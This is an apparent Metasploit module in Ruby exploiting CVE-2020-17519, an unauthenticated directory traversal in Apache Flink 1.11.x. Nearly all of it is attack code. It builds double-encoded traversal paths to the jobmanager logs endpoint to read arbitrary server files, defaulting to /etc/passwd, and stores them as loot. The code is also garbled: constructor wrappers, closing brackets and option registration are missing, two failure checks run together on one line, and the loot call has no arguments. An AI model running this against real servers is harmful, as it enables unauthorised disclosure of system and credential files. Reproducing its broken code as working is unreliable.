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Apache Flink 1.11.0 - Unauthenticated Arbitrary File Read (Metasploit)


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# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Auxiliary
    include Msf::Exploit::Remote::HttpClient
    include Msf::Auxiliary::Scanner
    include Msf::Auxiliary::Report

      def initialize(info = {})
            'Name'           => 'Apache Flink File Read Vulnerability',
            'Description'    => %q{
                This module exploits an unauthenticated directory traversal vulnerability
                in Apache Flink version 1.11.0 (and released in 1.11.1 and 1.11.2 as well),
                allowing arbitrary file read with the web server privileges
            'Author'         =>
                '0rich1 - Ant Security FG Lab', # Vulnerability discovery
                'Hoa Nguyen - Suncsr Team',    # Metasploit module
            'License'        => MSF_LICENSE,
            'References'     =>
                ['CVE', '2020-17519'],
                ['URL', 'http://www.openwall.com/lists/oss-security/2021/01/05/2'],
                ['URL', 'https://www.tenable.com/cve/CVE-2020-17519']
            'Privileged'     => false,
            'Platform'       => ['php'],
            'Arch'           => ARCH_PHP,
            'Targets'        => [['', {}]],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Jan 05 2021'


                OptInt.new('DEPTH',[true,'Traversal Depth',12]),
                OptString.new('FILEPATH',[true,'The path file to read','/etc/passwd'])

            def run_host(ip)
                traversal = '..%252f' * datastore['DEPTH']
                filename = datastore['FILEPATH'].gsub("/","%252f")
                filename = filename[1, filename.length] if filename =~ /^\//

                res = send_request_cgi({
                    'method' => 'GET',
                    'uri' => normalize_uri(target_uri.path,'jobmanager','logs',"#{traversal}#{filename}"),

                fail_with Failure::Unreachable, 'Connection failed' unless res fail_with Failure::NotVulnerable, 'Connection failed. Nothingn was downloaded' if res.code != 200
                fail_with Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter' if res.body.length.zero?

                print_status('Downloading file...')
                  fname = datastore['FILEPATH']
                  path = store_loot(
                print_good("File saved in: #{path}")
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